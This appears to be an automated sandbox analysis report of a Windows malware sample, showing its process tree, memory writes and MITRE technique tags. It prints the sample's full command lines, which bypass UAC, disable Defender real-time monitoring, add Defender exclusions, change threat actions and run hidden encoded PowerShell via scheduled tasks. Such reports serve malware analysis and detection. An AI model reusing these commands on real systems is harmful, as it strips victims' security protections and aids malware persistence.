PID 2868 wrote to memory of 2964	2868	AddInProcess32.exe	31
PID 2868 wrote to memory of 2964	2868	AddInProcess32.exe	31
PID 2528 wrote to memory of 672	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	33
PID 2528 wrote to memory of 672	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	33
PID 2528 wrote to memory of 672	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	33
PID 2528 wrote to memory of 3040	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	35
PID 2528 wrote to memory of 3040	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	35
PID 2528 wrote to memory of 3040	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	35
PID 2528 wrote to memory of 3040	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	35
PID 2528 wrote to memory of 3040	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	35
PID 2528 wrote to memory of 3040	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	35
PID 2528 wrote to memory of 3040	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	35
PID 2528 wrote to memory of 3040	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	35
PID 2528 wrote to memory of 3040	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	35
PID 2528 wrote to memory of 1668	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	36
PID 2528 wrote to memory of 1668	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	36
PID 2528 wrote to memory of 1668	2528	pfCuKx1ecdIfKnUPveAqX44x.exe	36
PID 2868 wrote to memory of 2572	2868	AddInProcess32.exe	38
PID 2868 wrote to memory of 2572	2868	AddInProcess32.exe	38
PID 2868 wrote to memory of 2572	2868	AddInProcess32.exe	38
PID 2868 wrote to memory of 2572	2868	AddInProcess32.exe	38
PID 2868 wrote to memory of 2572	2868	AddInProcess32.exe	38
PID 2868 wrote to memory of 2572	2868	AddInProcess32.exe	38
PID 2868 wrote to memory of 2572	2868	AddInProcess32.exe	38
PID 2572 wrote to memory of 1696	2572	UOSmxrTRpVyIwzOrj8zKSAcX.exe	39
PID 2572 wrote to memory of 1696	2572	UOSmxrTRpVyIwzOrj8zKSAcX.exe	39
PID 2572 wrote to memory of 1696	2572	UOSmxrTRpVyIwzOrj8zKSAcX.exe	39
PID 2572 wrote to memory of 1696	2572	UOSmxrTRpVyIwzOrj8zKSAcX.exe	39
PID 2572 wrote to memory of 1696	2572	UOSmxrTRpVyIwzOrj8zKSAcX.exe	39
PID 2572 wrote to memory of 1696	2572	UOSmxrTRpVyIwzOrj8zKSAcX.exe	39
PID 2572 wrote to memory of 1696	2572	UOSmxrTRpVyIwzOrj8zKSAcX.exe	39
PID 1696 wrote to memory of 1780	1696	Install.exe	40
PID 1696 wrote to memory of 1780	1696	Install.exe	40
PID 1696 wrote to memory of 1780	1696	Install.exe	40
PID 1696 wrote to memory of 1780	1696	Install.exe	40
PID 1696 wrote to memory of 1780	1696	Install.exe	40
PID 1696 wrote to memory of 1780	1696	Install.exe	40
PID 1696 wrote to memory of 1780	1696	Install.exe	40
PID 1780 wrote to memory of 1840	1780	Install.exe	41
PID 1780 wrote to memory of 1840	1780	Install.exe	41
PID 1780 wrote to memory of 1840	1780	Install.exe	41
PID 1780 wrote to memory of 1840	1780	Install.exe	41
PID 1780 wrote to memory of 1840	1780	Install.exe	41
PID 1780 wrote to memory of 1840	1780	Install.exe	41
PID 1780 wrote to memory of 1840	1780	Install.exe	41
PID 1840 wrote to memory of 636	1840	cmd.exe	43

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	pfCuKx1ecdIfKnUPveAqX44x.exe

C:\Users\Admin\AppData\Local\Temp\2024-06-03_9782adba2f6e0b9610833aa931234140_megazord.exe
"C:\Users\Admin\AppData\Local\Temp\2024-06-03_9782adba2f6e0b9610833aa931234140_megazord.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2320
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Users\Admin\Pictures\pfCuKx1ecdIfKnUPveAqX44x.exe
    "C:\Users\Admin\Pictures\pfCuKx1ecdIfKnUPveAqX44x.exe"
    3⤵
    - UAC bypass
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - System policy modification
    PID:2528
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\pfCuKx1ecdIfKnUPveAqX44x.exe" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:672
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:3040
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2528 -s 788
      4⤵
      Loads dropped DLL
      PID:1668
- - C:\Users\Admin\Pictures\WW13yFL0yat0CDaYgStWFD7M.exe
    "C:\Users\Admin\Pictures\WW13yFL0yat0CDaYgStWFD7M.exe" /s
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Writes to the Master Boot Record (MBR)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2964
  - - C:\Users\Admin\Pictures\360TS_Setup.exe
      "C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2604
    - - C:\Program Files (x86)\1717414941_0\360TS_Setup.exe
        
        "C:\Program Files (x86)\1717414941_0\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall
        5⤵
        Drops file in Drivers directory
        Sets service image path in registry
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        Checks for any installed AV software in registry
        Writes to the Master Boot Record (MBR)
        Drops file in Program Files directory
        Checks processor information in registry
        Modifies registry class
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:2680
- - C:\Users\Admin\Pictures\UOSmxrTRpVyIwzOrj8zKSAcX.exe
    "C:\Users\Admin\Pictures\UOSmxrTRpVyIwzOrj8zKSAcX.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2572
  - - C:\Users\Admin\AppData\Local\Temp\7zS83EF.tmp\Install.exe
      .\Install.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1696
    - - C:\Users\Admin\AppData\Local\Temp\7zS85F2.tmp\Install.exe
        
        .\Install.exe /yrVdidRYRgn "385118" /S
        5⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Loads dropped DLL
        Enumerates system info in registry
        Suspicious use of WriteProcessMemory
        
        PID:1780
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1840
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        7⤵
        
        PID:636
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:1716
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        9⤵
        
        PID:692
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        7⤵
        
        PID:2108
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:1940
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        9⤵
        
        PID:3032
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        7⤵
        
        PID:2152
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:2016
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        9⤵
        
        PID:1920
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        7⤵
        
        PID:344
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:564
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        9⤵
        
        PID:2128
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        7⤵
        
        PID:2968
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        
        PID:3068
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        9⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1848
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        10⤵
        
        PID:892
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        6⤵
        
        PID:2172
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:2524
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2604
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2720
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "btZaCbGShXZoJDfvCg" /SC once /ST 11:41:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\DHAkwqCFFocyzXL\zhzjvaQ.exe\" PP /ZmZdidIzum 385118 /S" /V1 /F
        6⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:2424
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn btZaCbGShXZoJDfvCg"
        6⤵
        
        PID:2560
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn btZaCbGShXZoJDfvCg
        7⤵
        
        PID:2440
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn btZaCbGShXZoJDfvCg
        8⤵
        
        PID:2372
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1780 -s 484
        6⤵
        Loads dropped DLL
        Program crash
        
        PID:1808

C:\Windows\system32\taskeng.exe
taskeng.exe {3631326B-C415-4EFA-AC60-880AE3886180} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:2412
- C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\DHAkwqCFFocyzXL\zhzjvaQ.exe
  C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\DHAkwqCFFocyzXL\zhzjvaQ.exe PP /ZmZdidIzum 385118 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:2364
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:2448
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      PID:2712
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:2708
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:2468
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      PID:2888
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:1548
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        
        PID:2028
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      PID:1648
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:1492
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        
        PID:1664
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      PID:1248
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:1348
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        
        PID:2384
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      PID:2632
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        
        PID:2624
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:860
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:1172
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "giYJovsHK" /SC once /ST 01:48:10 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:776
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "giYJovsHK"
    3⤵
    PID:2576
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "giYJovsHK"
    3⤵
    PID:2152
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1888
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:568
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:1592
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1880
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gIggrIxRX" /SC once /ST 06:37:29 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1408
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gIggrIxRX"
    3⤵
    PID:1848
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gIggrIxRX"
    3⤵
    PID:2440
- - C:\Windows\SysWOW64\forfiles.exe
    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
    3⤵
    PID:1876
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
      4⤵
      PID:2592
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2468
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2888
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1248
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:880
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2612
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1200
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:860
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1420
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2448
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1852
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\QqEAMUespgTHJnVz\ZOVHsZmP\rjNJUDoCQnGTgfVS.wsf"
    3⤵
    PID:892
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\QqEAMUespgTHJnVz\ZOVHsZmP\rjNJUDoCQnGTgfVS.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:1332
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:776
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1896
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2356
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1864
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1772
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1900
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:900
